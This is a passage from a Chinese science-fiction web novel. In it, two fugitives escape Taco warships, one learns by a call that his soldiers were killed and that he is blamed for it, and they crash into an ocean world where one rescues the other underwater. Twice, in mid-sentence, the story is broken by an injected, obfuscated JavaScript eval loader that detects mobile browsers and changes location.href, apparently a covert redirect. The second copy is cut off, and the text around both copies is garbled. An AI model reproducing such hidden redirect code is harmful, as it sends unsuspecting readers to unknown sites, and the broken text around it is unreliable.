纪九在空地上一路狂奔,几米远的弹坑,一个飞跃便跨了过去。当他奔到飞行器下方时,关阙已经抓住滑降绳升向舱门。 纪九将滑板车把手卡在肩上,让机器人倒挂在自己身后,并抓住另一条滑降绳迅速升高。 两艘塔柯舰已经到达荒原上空,强烈的风浪让绳索大幅甩动,让他差点就被甩了出去。 关阙钻进舱,纪九也快接近舱门,却见塔柯舰腹下打开,露出了两排黑洞洞的枪膛。 “啊!!!!”他大吼出声,用力将机器人掷向舱门内,同时一个腾身,右脚勾上了舱底板。 纪九翻进舱的瞬间,一枚炮弹从天上飞来。舱门却在此时合拢,随着一声被炮弹击中的轰响,那金属壁上立刻多出了一个膨出的弹坑。 飞行器剧烈震颤,左右摇晃,关阙已经到了主驾驶座,正握着操纵杆让飞行器升空。纪九喘着气撑起身体,抓紧了旁边的支撑杆,只听见四处舱壁都响起被炮弹击中的声响。 机器人在地板上左右翻滚,四处碰撞,他竭力探出身,将它扯到身旁,用支撑杆上的皮带拴牢。 飞行器在低空闪躲翻腾,躲避那密集如织的空中炮火。纪九不得不全力抱住支撑杆,才不至于被甩飞出去。 “主控台弹道锁定系统坏了,我需要一名副操纵员提供数据。”关阙突然喝道。 这舰里只有两人,纪九便扶着支撑杆站起身,踉踉跄跄地走向驾驶舱,将自己固定在了副驾驶座上。 他盯着面前的战斗显示屏,上面的两个红点代表着那两艘塔柯舰,旁边还有不停变换的坐标数字。他快速按下仪表台上的几个按钮,喘着气道:“-456,4567,已,已调整好弹道,已锁定。” 一枚光弹从银盟舰腹下飞出,在空中拉出一道蓝色的火焰,击中了右侧追来的的塔柯舰。那艘舰险些被击中机动舱,连忙往旁拐了个弯,接着才重新追了上来。 “已调整好弹道,已锁定……已锁定……已调整好弹道……” 纪九的目光在几张战斗屏上来回移动,不停汇报数据和锁定情况,并进行助攻。两人虽是第一次配合,却非常默契,炮火既猛且准,让两艘塔柯舰不得不谨慎地后退,和这艘舰保持着一定距离。 满身弹坑的银盟军飞行器终于穿出了炮火网,冲出大气层,飞向了茫茫太空。那两艘塔柯舰虽然紧追在他们身后,但已处于可攻击范围之外,暂时无法进行攻击。 纪九终于可以喘口气,赶紧打开舰内通讯器,又在仪器上操作,给这艘舰发出的信号波段设置了伪装层,接着才开始连接银辉星的通讯卫星。 嘀一声响,连接成功,他思索两秒后,没有拨打纪北宴的通讯器,而是换了一个号码。 他没有戴耳机,两声连通中的嘟嘟声后,舱内响起一道年轻的男声:“喂。” 纪九听到这声音,立即坐直了身体:“城子。” “小九?”对面音量突然拔高,接着迅速压低,“是小九吗?是不是你?” “是我。” “你在哪儿?你知不知道军部正在到处抓你?你现在居然还敢给我打电话,会被他们查出来的!”城子急促地低声。 “我不敢联系我哥,怕他的电话被监听。你放心,没人知道你和我的交情,不会查到你这儿。”纪九道。 “那你现在怎么样?” 纪九没有回答这个问题,只问:“城子,我想知道军部为什么抓我,我到底犯了什么罪?” 城子的呼吸声清晰地传来,却迟迟没有做声。 纪九原本不相信行动小组队长所言,但直到现在,直到城子长久的沉默,才让他意识到那话也许是真的。 他心里顿时升起了恐慌,声音也隐隐发着颤:“城子,你说句话,我的那些士兵呢?他们回到银辉星了吧?他们是不是已经回去了?是不是?” 纪九的连声追问下,城子终于再次开口:“小九,我不知道你是装的还是真不知道——” “我是真的不知道,要是说了半句假话,就让我被塔柯军杀死。”纪九顿时控制不住情绪,激动地大声吼道,“我现在正被塔柯军舰追击,如果对你撒了谎,马上就灵验。” “小九,你冷静点,冷静点,我不是那意思,小九!” 纪九喘着气抹了把脸,竭力让自己平静下来,又哑声道:“城子,我们在帮里做了那么久的兄弟,又一起考进军校,你难道不清楚我的为人吗?” 城子长长叹了口气,低声道:“小九,我不清楚这其中到底是怎么回事,但你们那任务确实失败了,纪将军也被军部监管起来了。我私下打听到的消息是,你们刚刚撤退,就在赤牙城上空遇到了暗影军团,他们派出了十八名高阶序列者……小九,你的那些兵,的确都没了。” 纪九听到最后一句,脸上的怒气和焦躁都瞬间消失,只目光定定地看着前方。他神情困惑,像是听见了什么让他不能理解的话,但眼泪却汹涌而出,一颗颗滑出了眼眶。 一直盯着前方屏幕的关阙,在这时突然侧头看了他一眼。 “小九,你不但是战场指挥,也参与了整个行动计划的制定,所以很清楚行动的每一个步骤。暗影军团从塔柯星出发到赤牙城,需要七八个小时,他们能在你们撤退时抵达赤牙城,说明你们制定出任务计划后不久,他们便也接到了消息,并和你们差不多时间出发。” 纪九想说什么,但他张了张嘴,喉咙干得发不出半个音节,只咬着牙一声不吭。 “小九,要是没有我们的人通风报信,时间不可能那么巧,还派了那么多的高阶序列者,让我们中了这个套。这明显是塔柯人的陷阱,军部说你是通敌者,所以才中了他们的埋伏。” 纪九度过了那阵头晕和耳鸣,强行让自己先不去想其他,也终于找回了自己的声音。 他努力镇定下来,沙哑着嗓子问:“那就能证明我是内奸吗?任务内容是去赤牙城解救八十名人质,但城里半个人质都没有。这是军部下达的任务,为什么不找那下达任务命令的人?而且制定行动计划有好些人,包括几名指挥和行动组主要成员。” “任务内容方面我不清楚,据说相关人员已经被调查过,该处理的也被处理了。那任务的确是军方根据截获的假情报发出的,是一次重大失误,却和内奸无关。” 城子继续道:“制定行动计划的几名指挥也都已经调查了,没有谁在制定计划后和外界联系过。而那些行动组主要成员……他们都死了。” 城子说到这儿,声音有些哽咽,“小九,你们一起去赤牙城的士兵,只有你还活着。我信你,可你怎么让其他人也信你?而且和塔柯军对战的时候你在哪儿?你为什么没和他们一起撤退,还扔下了你的士兵自己逃走了?” “我没有逃走,我当时,我当时……” 纪九满腔悲愤,急于想向城子说出自己的无辜,但那些话却突然卡在喉咙,不知道该怎么说。 其实我当时是昏厥了,我还被人给搞了。我不记得发生了什么,也不知道我怎么上了飞行器,因为我醒来的时候就在荒星上了? 城子的声音突然消失,通话信号中断。纪九赶紧重新连接,着急地一遍遍拨打,但舱内只有无法连接的嘟嘟声。 关阙看了他一眼,又看向屏幕数据:“这片空域有电磁波风暴干扰,你暂时没法和他通话。” 纪九看着拿在手里的通话器,突然扬起手,狠狠砸向地面,再埋下头,弓起背,发出压抑却痛苦的哭声。 “你们到底遇到了什么,你们怎么就没了,怎么就全都没了……” 纪九的手指插进自己头发,痉挛地蜷缩又伸直,眼泪疯狂地涌出眼眶,脖颈上鼓起两道青筋。 “这些都是假的,假的!你们别死啊,别死……求求你们,求求你们别死……” 砰! 飞行器右侧发出被炮火击中的声音,机身跟着颤了颤。 关阙看了眼下方小屏,再次开口:“他们又追上来了,副操纵员给我提供弹道数据。” 纪九一动不动,依旧将头埋在手里,肩背剧烈抽动着。 关阙猛地拔高飞行器,两颗光弹从机腹下穿过,射向遥远的太空。 “纪九。”关阙操纵飞行器躲避连续炮火,嘴里低喝。 纪九此刻心头全是悲痛和愤恨,哪怕星舰被炸了也无所谓。但他还是抬起了头,却不是看向屏幕,而是朝向了关阙。 “那十八名杀害我士兵的高阶序列者里有你吗?” “没有。” “你撒谎!!”纪九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14196478|150702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声怒吼。 “我没有撒谎。” 纪九突然拿起一把挂在座位旁的枪,抵住关阙太阳穴,咔哒一声子弹上膛,咬着牙:“你撒谎。” 关阙慢慢转头,目光幽深地看向纪九,任由那发抖的枪口抵着自己额头。 纪九双眼红肿,一张脸满布泪痕,关阙注视他片刻,开口道:“我的确没有参与塔柯军的那次任务,也不是那十八名序列者的其中之一,没有杀你的士兵。我这话若是有假,就让我被身后追击的塔柯军杀死,马上就灵验。” 他的神情平静,语气坦然,纪九看着他,搭在扳机上的食指紧了又松,松了又紧。 最后终于还是垂下手,收回枪,转头看向前方。 关阙不再催促纪九协助自己,只操纵飞行器,在那些炮火里左避右闪。 飞行器再次急转并下沉,躲闪得很是艰险。纪九看着屏幕上越来越近的红点,终于抬起手开始调整弹道,并哑声汇报:“-346,2547,已调整好弹道,已锁定。” 他眼里依旧在涌出泪水,也不时发出压制不住的哽咽,却只咬着牙汇报弹道情况:“已锁定……已锁定……已调整好弹道……” 经过短暂的交锋,这艘飞行器再次和身后的两艘飞行器拉开距离,在太空中全速前进。 纪九的情绪已经平静了许多,不再那么激动。他靠在座椅上,侧头看着可视窗,看着极远处那颗悬浮在黑暗中的橘色星球,不知在想些什么。 不知道是不是刚才情绪太过激动,腹部传来一阵阵隐痛。纪九回过神,右手搭上小腹,待到那阵隐痛散去,他才开口问道:“你为什么要登上这艘银盟军飞行器,不去驾驶你们的塔柯军飞行器?” 关阙握着操纵杆,轮廓分明的脸部被光线映得明明暗暗。他听见纪九的问话,沉默了足足半分钟,但也终于出声回答。 “因为我被塔柯军内部设为特级危险人物,飞行器系统只要检测到驾驶者是我,便会自动汇报行踪。我能去到H58,是关闭了星舰里的所有系统,并在关闭的前一秒,设置好了自动飞行的航线。” 不用纪九追问其中细节,他这次回答得非常仔细。纪九听后,很轻地点了下头:“所以你无法驾驶塔柯星舰?” “对。” 纪九看着窗外的浓黑太空,神情不悲不喜:“所以这一切都是你计划好的。你并不是被卷入了流浪行星的引力场,你的目标就是H58,因为H58有可以疗伤的钢鬣兽,还有铦电,你要用它来除掉那名一直在追踪你的高阶序列者。” 关阙没有出声,纪九继续道:“你在H58上遇到了我,原本想杀了我,但后面觉得留着我更有用。” “你没法接近铦电,要捕捉它非常困难,但我可以轻松办到。所以那次我在浴室里泡澡的时候,你也进来了,还故意在我面前提到我哥,就是想激起我彻底除掉你的心思,促使我去捕捉铦电。” 纪九舔了舔干裂的唇:“你只要使用你那艘星舰上的装置设备,就会把当前位置发送出去,包括使用那个传感器。所以你一直在等待一个时机,等待你身体恢复得差不多,而我也捕捉到了铦电的时机。” “昨天,我终于获得了铦电,你认为时机已经成熟,就把传感器交给了我。而我用那个传感器和银盟军联系的同时,也将你的位置发送给了追踪你的人。” 纪九垂下眼眸:“昨天晚上,你又一次替我系紧浴袍,之前你也这样做过,所以我并没有怀疑什么。但就在那时候,你调换了我的注射器。” 关阙一言不发,纪九自嘲地笑笑:“就像你想的那样,银盟军和塔柯军都被我发出的信号引来了。你从那名序列者嘴里问出了你想知道的事,用我捉到的铦电杀了他。你无法驾驶塔柯军星舰,便通过我让银盟军来到H58,并成功得到了一架银盟军飞行器,载着你飞离那颗荒星。” 纪九一直垂着眼,长睫盖住眼眸,在下眼睑上投下两排阴影。 “所有一切都在你的计划中,而我作为整个计划里最重要的那颗棋子,最后会被银盟军抓走,也算是报了杀你两次的仇。可你没想到我也逃出来了,算是你这场完美计划里的唯一疏漏。” 舰内安静下来,只听见纪九略微急促的呼吸声和曲率引擎启动的嗡嗡声。 “不,你说错了。”片刻后,关阙突然开口。 “哪儿错了?你没有设置计划?你没有利用我?还是你想说这所有一切都只是巧合?”纪九厉声喝问,那双被泪水浸得通红的眼里充满冷意。 仪器光投射在关阙脸上,让他的五官更加立体,脸庞轮廓更加明晰锋利。他平视着前方仪表盘,回道:“你说得都没错,但我还是想澄清一点。我是打算借你引来银盟军,趁机夺走他们的飞行器。” 他说到这里时顿了顿,喉结上下滚动:“但我并没有打算报你杀我的仇,也不知道银盟军在抓你。” 16.第 16 章 可视窗外的橘红色星球逐渐远离,变小,成为一个小小的亮点。舰内一片沉寂,只有关阙操纵星舰时发出的声响,还有系统偶尔的提示声。 纪九现在并不在意自己被关阙利用的那些事,或者说他根本顾不上去想那些,脑中只反复回忆着城子的话,每一句都让他心口绞痛,脑袋一阵阵闷胀。 “纪九。”关阙出声。 纪九呆呆地看着前方,一动不动。 “纪九。”关阙又道,“他们追上来了。” 纪九终于有了点反应,他眼珠缓缓转动,翕动干裂的唇:“那又怎么样?” “我需要副操纵手。” “那又怎么样?”纪九继续重复,“你怕我们被击中?星舰散架?其实那样一了百了,多好。反正你也不会死,拼拼凑凑又活过来了。” 关阙瞧了他一眼,没有做声,却突然解开安全带和保护臂,大步跨到纪九身前,双手在仪器上操作,目光盯着屏幕上的数据。 纪九的膝盖被关阙的腿弯顶住,他想起这个人之前做的那些事,原本没有什么情绪的眼里慢慢升起戾气。 “你窜过来做什么?过去!别挤着我!”他低吼。 “想让我别挤着你,那你就自己来。”关阙手下动作不停。 纪九本已心如死灰,但现在瞧着关阙,那死灰里又冒出了腾腾怒火。他对关阙的恨意并没到杀死他那一步,可想起那些利用和欺骗,若是不去计较,心头又着实不甘。 纪九没有做声,却将身体往下沉,让膝盖继续往前顶,顶得关阙紧贴着仪器台。 他知道自己这种行为很幼稚,但想到能给关阙添点堵,心里也要舒服一些。 关阙虽然被顶得紧贴着仪器台,却丝毫不恼,甚至都没有任何反应,只专注地操纵仪器,不时看一眼数据。 纪九看着舷窗,那上面倒映着关阙平静的脸,让他突然就觉得很没意思,觉得越是搞这种小孩子的动作,越是会衬出自己的无能。 他收回了脚,冷声道:“过去。” 关阙还是那句话:“那你自己来。” “我就是要自己来,不行吗?你占着我的地方,让我怎么操作?我让你过去,你话这么多?”纪九突然就提高了音量。 关阙回到了主驾驶位,纪九沉着脸调整弹道轨迹,偶尔给他汇报数据。 舰内突然响起嘀嘀报警声,屏幕左边也出现了三个红点,正朝着这方向全速行进。 “他们又来了三艘舰。”纪九神情变得紧绷。 关阙瞥了眼屏幕,倒没有表现出惊讶,只道:“应该是暗影军团。” 纪九低低咒骂了一声,又恨恨道:“他们是冲着你来的,我纯粹是被你给拖累了。” 关阙道:“你现在也可以选择出舱,离开这架飞行器,不受我的拖累。” “现在能出舱吗?这可是太空。” “既然知道,那就别出声。” 纪九现在一点就炸:“嘴巴长在我身上,你管我说不说?我告诉你,我现在可不怕死,我已经活腻了。你信不信我随时可以撂下这操纵器,管你星舰往哪儿飞。” 关阙一声不吭,紧紧闭上了嘴。 那三艘舰渐渐逼近,在进入可攻击范围后,朝着他这艘舰发出了远距离光弹。关阙早已经锁定对方,也在第一时间放出光弹进行阻挡。 光弹在无介质真空里无声地碰撞,时不时一道光束擦过飞行器,射向遥远的太空。关阙一边还击一边操纵飞行器躲闪,无形中缓下速度,让后面两艘舰也追了上来。 “怎么不向右?直行会被他们追上的!-456,346,已锁定。”纪九急声追问,眼睛紧盯着弹道屏。 “因为去右边也迟早会被追上。”关阙冷静回道。 “那你有什么办法?” “B456跃迁点。”关阙拉高了操纵杆。 纪九在空域图上找到了B456跃迁点,在看清旁边的数据后,拧起了眉头。 “B456是一个天然跃迁点,因为被电磁波风暴干扰,所以极不稳定,被军部评定为极危险等级,禁止星舰进行跃迁。2号弹道,已锁定。”纪九抿了抿唇,“我觉得应该还有其他办法能甩掉他们。” “这就是目前最好的办法。” “说了那跃迁点极不稳定,我们星舰进去后,说不定会被混乱的引力扯碎的!” “那又怎么样?碎了就碎了,反正你也活腻了。”关阙用他之前的话回他。 纪九冷笑:“可我现在又想活了,怎么的?你有意见?我不光要活,还要找到那群当天在赤牙城的序列者,一个一个弄死。” 关阙没有理他,只突然开始咳嗽,纪九原本没有在意,但他咳声始终不停,便抬眼看了过去,正好看见他在抬手擦去嘴角的血痕。 “你被那人打伤了?”纪九问。 “旧伤而已。”关阙不甚在意地继续操纵着星舰,脸色很是苍白。 纪九并不关心他那旧伤是怎么回事,只要他还能动,还能操作飞行器就行,便没有继续追问。 前方空间被某种引力拉扯得扭曲变形,形成了一个旋转流动的球形体,那便是B456天然跃迁点。 “你心眼那么多,下起套来一个接一个,现在也想不出其他办法了?”纪九盯着屏幕问道。 关阙将操纵杆推上前:“那个跃迁点能量虽然极不稳定,我们的飞行器是有可能会被撕裂,而且就算成功跃迁,也不知道会被传入哪个空域。但其实两边军方都从未进入过这个跃迁点,所有结论都来自猜测,根本无法确定。” 几发光弹从不同角度同时飞来,飞行器在光束中上下穿行,险险躲过了其中四发,但底舱还是传出被击中的一声重响。 嘀-嘀-嘀…… 舱内响起报警声,显示曲率引擎失去了一半作用。 纪九知道在丢失半个引擎的情况下,除了进入跃迁点,再没有其他办法。 他深深吸了口气,带着几分挑衅地看向关阙:“赌一把?赌这架飞行器会不会散架。” 关阙没做声,单手操控飞行器,从衬衣兜里拿出一个钻石领夹,丢进操控主台上的小盒里:“毫发无损。” 纪九也在身上摸索,但他并没有领夹这类物品,便从左边裤兜里掏出个什么丢进了小盒,发出当啷一声响:“撕裂散架。” 关阙瞥了眼,看见躺在盒里的是一只石雕小狐狸。 飞行器在密集炮火中全速向前,距离跃迁点越来越近。纪九看着跳动的倒计时数字,屏住呼吸抓紧了身侧扶手。 5、4、3、2、1…… 屏幕上数字变成0的瞬间,飞行器冲入了跃迁点。 可视窗外不再是漆黑太空,而是流淌着能量形成的斑斓线条和光点。飞行器剧烈震颤,舱壁响起不胜负荷的吱嘎声。纪九的心脏在重压下急速跳动,血液像是海潮般汹涌冲击着血管,耳朵里响起尖锐的鸣叫,视野里只有一片绚烂白光。 要散架了,要散架了…… 他口口声声闹着不想活了,但此时心头却升起了恐慌,脑中只反复回绕着这一句。 像是经历了一个世纪,又像是只过去了短短几秒,强烈震颤突然停下,尖锐的喧嚣消失,飞行器平稳得像是悬浮在静止真空里。 纪九喘着气睁开眼,身旁可视窗外已不是一片白光,而是茫茫太空,身前小屏上紧追不舍的几个小红点已经消失无踪。 “我们冲出跃迁点了吗?”纪九还紧紧抓着扶手。 关阙双手在仪器台上操作:“飞行器没有被撕裂散架,但也不是毫无损伤。” 纪九惊喜地笑了起来:“我们闯过跃迁点了?我们闯过跃迁点了!” “所以我们不输不赢。”关阙勾了勾唇,“现在可以收回赌资了。” 离开地下生活区之前,机器人将那个小狐狸放进了纪九裤兜,纪九又顺手作为赌资下注,无所谓收不收回。但他见关阙从盒子里取回了领夹,便也还是拿回了小狐狸。 纪九定下心神,看向前方大屏,惊讶地发现大屏上出现了一颗蔚蓝色星球,如同飘在漆黑深海里的蓝色宝石,而飞行器正朝着那颗宝石飞去。 “你准备去那里?”纪九问。 关阙双手撑在仪器台上:“不是我准备去那里,而是飞行器现在不受我的控制。” “什么?” “曲率引擎在跃迁点里遭遇挤压,已经完全不起作用。现在飞行器是被星球引力捕捉,正在朝它靠近。” 纪九沉默了一秒,立即解开安全带站起身,拨动面前屏幕,将那颗星球放大,点出详细数据,快速浏览其中的关键信息。 “我们被跃迁点送到了竖琴星系,-456.3456……也就是琴柱中段位置。这个小星系里有一颗恒星,四颗行星……其中的A464行星表面被海洋覆盖,有氧气,地表平均温度26°,碳基生命可以生存。” 纪九神情稍微放松,看着屏幕问道:“你是碳基生命吧?” “应该是的。” “应该?” “你说呢?” “你肯定是的。” 话音刚落,舰内又开始剧烈震颤,飞行器已经进入了行星大气层。纪九赶紧坐好,重新系上安全带,打开保护装置,体表迅速覆上了一层保护光膜。 关阙也打开了所有的硬着陆迫降装置,包括反作用动力器和风阻增强器等等,来对抗来自这颗星球的强大引力。 飞行器拖着火光坠向行星表面,可视窗外被火光染成了橘红色。纪九在剧烈颠簸中,努力看清面前的屏幕,突然大声喊道:“糟了,海洋覆盖率是百分百……” “不,是99.9。”关阙纠正。 “有区别吗?”纪九绝望地喊。 “有。” 纪九不明白这个99.9和百分百有什么区别,至少呈现在屏幕里的行星表层一片蔚蓝,瞧不见一星半点陆地。 飞行器穿过厚重云层,速度有所减缓,从可视窗已经能看清海洋表面。关阙依旧站在操作台前,在着陆的倒计时中,有条不紊地逐步打开所有迫降装置,直到那巨大的降落伞也张开,才坐回座位,系上了安全带。 “……十,九,八……” 纪九虽然已经经历过一次迫降,但那次他处于昏迷中,不像现在这样清醒地迎接撞击。他紧张地深呼吸,转头看机器人,见机器人好好地捆在金属杆上,又收回了视线。 “七,六,五……” “吴思琪的储物箱里有强心针,只剩一针,如果我不行了,帮我扎。”他在巨大的轰鸣声中喊道。 “四,三……” 关阙没有应声,他又补充:“当做一次交易,交易条件等以后再谈。” “二,一。” 倒计时结束,飞行器撞入海中,发出轰然重响,数米高的水柱冲上天空再跌落,海面起伏汹涌。 飞行器在海水里下沉,朝着浓黑的深渊下沉。但光线隐约还能照见的深海里,显出一片海山阴影,其中一座平底山峰将下沉的飞行器给稳稳托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪九正焦急地思索求生办法,便察觉到身边水流起了变化,飞速转回了头。他看见关阙已经苏醒,正在解身上的安全带,便又惊又喜地挥舞双手,希望他脱身后能帮自己一把。 关阙解开安全带,悬浮在驾驶座前的水里。纪九随便在脚边抓了个金属碎块,用力朝他丢了过去。 关阙看见碎块,转头看了过来,纪九赶紧去指座位下方,示意自己的脚被卡住了。 和纪九的慌乱焦灼不同,关阙神情自若,没有半分紧张,若不是那随着水流飘散的风衣下摆和起伏的发丝,根本看不出他正置身在深海里。 纪九胸腔里的空气已快抽空,肺部胀痛难忍。他现在能指望的只有关阙,便双手合十恳求,又去指自己的脚。 关阙垂在身旁的手轻轻拨动,却是朝着纪九身侧游去。 纪九的心脏顿时下沉,他知道如果放关阙就这样走了,那自己肯定死路一条。 关阙的衣服下摆突然被扯住,他转过头,看见纪九泫然欲泣地看着自己,满眼都是对生的渴望和对他的无声央求。 但那双眼里的光亮正在飞速消散,长睫逐渐合拢,抓住衣摆的手指也渐渐松开,仿似生命力正从他体内一点点抽离。 关阙原本是想去取挂在舱壁上的工具,用来撬开卡住纪九的金属条。但见他溺水昏迷,决定先给他渡口气。 但他刚靠近纪九,原本一动不动的纪九便突然睁开了眼,一只手灵活地钻进他的风衣,迅捷地掏出了那枚光明之眼。 咔! 碎片被装进了一个银白色密码盒,整个过程加起来不到两秒钟。 纪九的视线已经模糊,耳朵里也嗡嗡作响。他却努力将密码盒朝着关阙方向举起,虽然没有说话,但动作已经表明了一切。 这是用无稀制造的密码盒,如果没有密码,那么无法借助任何外力可以将它打开。 假如我死了,这个宝贝就被锁在盒子里,你永远也别想拿到。 纪九终于再也撑不住,双手无力地张开,密码盒慢慢落入水中。他感觉到自己身体变得很轻,轻得就像一个泡沫,穿过水流,飘向闪着光亮的半空…… 就在这时,一股新鲜空气涌入喉咙,顺着气管一路向下,充盈他整个肺部。让他快要停止跳动的心脏重新搏动,血液重新流淌,也将渐行渐远的他拽回了原地。 被海水淹没的舰舱里,纪九靠在关阙的臂弯,微微仰着脸,关阙一手揽着他,一手轻托他的下巴,两人嘴唇紧贴在一起,看上去就像是在拥吻的恋人。 应急灯光照下,纪九脸色苍白地闭着眼,关阙耳后那两道紧闭的细缝却已经打开,显出鱼一样的鳃。 纪九搭在身侧的手指动了动,关阙这才将人松开,收好密码盒,从工具箱里拿出工具,去撬卡住他脚踝的金属条。中途又几次抬起身,握住纪九的后脑勺,继续给他渡气。 金属条被撬开,纪九身体离开座椅,飘向了舱门。关阙游在他身旁,再带着他钻出飞行器,进入了深海。 海水幽深,飞行器静静地停在山峦之巅,远处是绵延的海底山轮廓,如同一幅静止的画卷。关阙揽着纪九的腰,含住他的唇,再摆动双腿往上,像是一条灵活矫健的游鱼。 纪九的睫毛突然颤了颤,虽然眼睛没有睁开,却张开双臂环住了关阙的脖颈,并张开嘴贪婪地吸吮,只想能获得更多的氧气。 关阙似乎将他胳膊拿掉,纪九却搂得更紧,生怕被夺走这唯一的空气来源。关阙便没有再将人推开,两人拥抱紧贴在一起,缓缓旋转着升向了海面。 17.第 17 章 关阙抱着纪九浮出海面,分开了相贴的唇。纪九靠在他的臂弯,感觉到流淌的新鲜空气,意识逐渐清晰,缓缓睁开了眼睛。 首先撞入他视野的便是关阙那张英俊的,近距离放大的脸。头发捋在脑后,尽显深刻的五官,正微微俯低看着他,带给人极强的视觉冲击感。 纪九有些吃惊地啊了一声,下意识防备伸手,将人推开,接着便无声无息地沉入水中。两秒后,他又重新冒出水面,一边咳嗽,一边抓住了关阙的胳膊。 “还迷糊着,以为在地面……咳咳……你凑那么近,一张大脸,吓我一跳。”纪九咳着道。 关阙的视线从他身上移开,将他抓着自己胳膊的手拿掉,放在了自己腰部。 纪九也不客气,立即就搂住了他的腰。 关阙舒展双臂,拖着纪九朝东边游去,纪九停下咳嗽,眼睛泛红地道:“我还以为我要憋死了,来不及浮到水面,我肺活量可真的好。” 关阙只沉默地朝前游,纪九抱着他的腰,突然一惊:“等等,吴思琪呢?我的机器人还在飞行器里,不能把它丢下,得将它带上。” 关阙继续往前:“我们现在是要先找个落脚点,飞行器就在这儿,不会跑也不会消失。” 纪九听他这意思是要回头来捞机器人,这才放下心。他想起自己刚将碎片装进了密码盒,就失去了意识,立即就想问关阙将盒子带上了没。 但话还未出口,又及时闭上了嘴。 关阙肯定会将那宝贝带着的,而自己给他锁进了密码盒,他肯定会恼恨。在平安上岸之前,最好是提都别提。 纪九搂着关阙的腰,开始查看四周环境。举目眺望,视线里皆是茫茫海水,看不见陆地,也辨不清方向。 “我们这是去哪儿?这地方全是海,百分之百的海,不管游向哪个方向都没用。” “是99.9。”关阙纠正。 “就算是99.9,我们能顺利找到那0.1吗?”纪九掐着小指末端伸长手,凑到关阙脸颊旁,“这么指甲盖大的地方,说不准还在星球的另一边。” 关阙看也不看地将那只手推开:“0.1也是无数分散的海岛,我们前面就有一个。” 纪九将手搭在额上,眺望远方,依旧只看见一望无际的海水。 “这海下有一条山脉,我刚才在水下观测过,这条山脉逐渐攀升,如果顺着这方向往前,应该会找到露在海面上的峰顶。”关阙一边游一边解释。 “但那肯定在很远的地方,我们能游到露出水的峰顶吗?”纪九抬头看向天空,恒星的光照有些刺眼,也让他更加焦虑。 虽然关阙是序列者,但他之前和那高瘦男人对打时,看得出伤势还没有完全恢复。这又带着自己,恐怕还没找着陆地,两个便都要沉海。 关阙却问了另一个问题:“你恢复了吗?” “什么?” “话这么多,想来也差不多了。”关阙又道,“抱住我的肩。” 纪九不明所以,却也将一只手搭上了他的肩。 “两只手。” 纪九依言抱住了关阙肩头,下一秒,他便觉手下一紧,关阙猛地朝前冲出。那突如其来的前冲让他差点被甩出去,身体也跟着朝前飞出。 关阙整个人埋入水中,两只手并在身体旁,只摆动双腿,在水下飞快前进。纪九刚好露在水面,整个人趴在他背上,紧紧搂住他的脖子。 关阙在水下的速度惊人,让纪九想起水下摩托,或是海豚、鱼雷什么的,他想告诉关阙,但刚张开口便喝了一嘴风,只得又闭上。 海水和疾风扑打在脸上,纪九眯着眼,心头堆积的沉郁被暂时清空,只感觉到新鲜和激动。 谁会有这样的体验?骑着一名序列者在海里疾驰? 没有别人,只有我! 我是整个银辉星系唯一的一个! 关阙不过在水下游了十来分钟,纪九就见远方海面上出现了一个黑色小点。那黑点逐渐放大,显出了一座小岛的轮廓。 关阙也发现了小岛,减缓了前进速度,并游出了水面。纪九从他背上翻进海里,牵着他的衣服,指着前方对他笑道:“终于找到0.1了,那岛应该就是露在海面的山峰。” 这座小岛面积不大,但植被茂密,整座岛便是一座苍绿密林。岛上空有禽类飞行的身影,看上去体型颇大,在天空盘旋两圈后,一头扎入了林子深处。 关阙游到浅水处停下,两人在水里站起身。这是片银白色的沙滩,却又闪着浅金色的细碎光芒,纪九从水里抓起一把细沙,看见洁净的银白砂砾里混着星星点点的金色。 “这闪光的是楛陨石?”纪九问。 “不,是金。” “金?” “古人类最喜爱的物质,也是他们的一种特殊货币。化学符号为Au,来自某个神话故事,意为闪耀晨曦。” “很值钱吧?”纪九目光闪了闪,“我都没有听说过。” “曾经很值钱。”关阙甩掉头上的水,“但你现在没听说过的原因,是因为它本身的用途被更好的替代品取代,而且数量太多,分布在各个行星,甚至好几颗行星的组成结构便是金,整个表层布满由金形成的山峰。” 听说不值钱,纪九便对金失去了兴趣,丢掉细沙,拍了拍手。 关阙提步上岸,纪九的伤腿没法行走,只能单腿往前跳。好在沙滩上有一根枯树干,他捡起来试了试,觉得当做拐杖正合适。 关阙并没有因为纪九腿伤了就减慢速度,纪九虽然有了拐杖,但依旧跟不上,只眼睁睁地看着他进入密林,很快消失在那些枝干后。 纪九一瘸一拐地进入密林,却不知道关阙去了何方。 头顶是蔽天枝叶,光线顿时暗了下来,四周也变得格外安静。纪九踏前一步,拐杖落在厚厚的树叶层上,发出沙沙声响。 “关阙。”纪九唤了一声,没有得到回应。 “阿怪,阿怪?” 纪九站在原地,整个人的重量压在拐杖上,有些急促地喘着气。他并不担心关阙会将自己扔掉,毕竟那碎片盒子的密码只有他知道,却怕林中突然窜出什么猛兽,他现在脚受伤,不一定能对付得了。 左边传来枝干被踩断的咔嚓声,他迅速转头,摸出匕首,警惕地盯着那方向。树枝摇晃,从中分来,出来的却不是猛兽,而是关阙。 纪九长长松了口气,接着又有些不满:“你去哪儿了?” “你不在沙滩上等着,跟来做什么?”关阙微微皱起眉。 “……你什么时候让我在沙滩上等着?你半个字都没有说,一溜烟就冲进林子里,跟个人形鱼雷似的。” “难道你怕我钻进密林跑了?” “难道不可能?” 纪九虽然气消了,但自恃手握密码,所以现在对关阙说话便不像以往那么谨慎。 关阙没有理他,只朝着沙滩方向走,纪九便又跟在他身后。 